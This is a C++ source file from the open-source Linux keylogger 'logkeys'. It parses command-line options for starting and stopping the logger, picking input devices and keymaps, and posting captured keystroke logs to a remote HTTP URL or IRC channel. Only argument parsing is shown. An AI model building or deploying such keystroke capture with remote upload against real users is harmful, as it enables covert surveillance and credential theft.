logkeys/src/args.cc

119 lines
4.8 KiB
C++

/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#ifndef _ARGS_H_
#define _ARGS_H_
namespace logkeys {
struct arguments
{
bool start; // start keylogger, -s switch
bool kill; // stop keylogger, -k switch
bool us_keymap; // use default US keymap, -u switch
char * logfile; // user-specified log filename, -o switch
char * keymap; // user-specified keymap file, -m switch or --export-keymap
char * device; // user-specified input event device, given with -d switch
char * http_url; // remote HTTP URL to POST log to, --post-http switch
char * irc_entity; // if --post-irc effective, this holds the IRC entity to PRIVMSG (either #channel or NickName)
char * irc_server; // if --post-irc effective, this holds the IRC hostname
char * irc_port; // if --post-irc effective, this holds the IRC port number
off_t post_size; // post log file to remote when of size post_size, --post-size switch
int flags; // holds the following option flags
#define FLAG_EXPORT_KEYMAP 0b1 // export keymap obtained from dumpkeys, --export-keymap is used
#define FLAG_NO_FUNC_KEYS 0b10 // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. <LShift>, etc.), --no-func-keys switch
#define FLAG_NO_TIMESTAMPS 0b100 // don't log timestamps, --no-timestamps switch
#define FLAG_POST_HTTP 0b1000 // post log to remote HTTP server, --post-http switch
#define FLAG_POST_IRC 0b10000 // post log to remote IRC server, --post-irc switch
#define FLAG_POST_SIZE 0b100000 // post log to remote HTTP or IRC server when log of size optarg, --post-size
} args = {0}; // default all args to 0x0
void process_command_line_arguments(int argc, char **argv)
{
int flags;
struct option long_options[] = {
{"start", no_argument, 0, 's'},
{"keymap", required_argument, 0, 'm'},
{"output", required_argument, 0, 'o'},
{"us-keymap", no_argument, 0, 'u'},
{"kill", no_argument, 0, 'k'},
{"device", required_argument, 0, 'd'},
{"help", no_argument, 0, '?'},
{"export-keymap", required_argument, &flags, FLAG_EXPORT_KEYMAP},
{"no-func-keys", no_argument, &flags, FLAG_NO_FUNC_KEYS},
{"no-timestamps", no_argument, &flags, FLAG_NO_TIMESTAMPS},
{"post-http", required_argument, &flags, FLAG_POST_HTTP},
{"post-irc", required_argument, &flags, FLAG_POST_IRC},
{"post-size", required_argument, &flags, FLAG_POST_SIZE},
{0}
};
char c;
int option_index;
while ((c = getopt_long(argc, argv, "sm:o:ukd:?", long_options, &option_index)) != -1)
{
switch (c)
{
case 's': args.start = true; break;
case 'm': args.keymap = optarg; break;
case 'o': args.logfile = optarg; break;
case 'u': args.us_keymap = true; break;
case 'k': args.kill = true; break;
case 'd': args.device = optarg; break;
case 0 :
args.flags |= flags;
switch (flags)
{
case FLAG_EXPORT_KEYMAP: args.keymap = optarg; break;
case FLAG_POST_HTTP:
if (strncmp(optarg, "http://", 7) != 0)
error(EXIT_FAILURE, 0, "HTTP URL must be like \"http://domain:port/script\"");
args.http_url = optarg;
break;
case FLAG_POST_IRC: {
// optarg string should be like "entity@server:port", now dissect it
char *main_sep = strrchr(optarg, '@');
char *port_sep = strrchr(optarg, ':');
if (main_sep == NULL || port_sep == NULL)
error(EXIT_FAILURE, 0, "Invalid IRC FORMAT! Must be: nick_or_channel@server:port. See manual!");
*main_sep = '\0'; // replace @ with \0 to have entity string that starts at optarg
*port_sep = '\0'; // replace : with \0 to have server string that starts at main_sep+1
args.irc_entity = optarg;
args.irc_server = main_sep + 1;
args.irc_port = port_sep + 1;
break;
}
case FLAG_POST_SIZE:
args.post_size = atoi(optarg);
switch (optarg[strlen(optarg) - 1]) // process any trailing M(egabytes) or K(ilobytes)
{
case 'K': case 'k': args.post_size *= 1000; break;
case 'M': case 'm': args.post_size *= 1000000; break;
}
}
break;
case '?': usage(); exit(EXIT_SUCCESS);
default : usage(); exit(EXIT_FAILURE);
}
} // while
while(optind < argc)
error(0, 0, "Non-option argument %s", argv[optind++]);
}
} // namespace logkeys
#endif // _ARGS_H_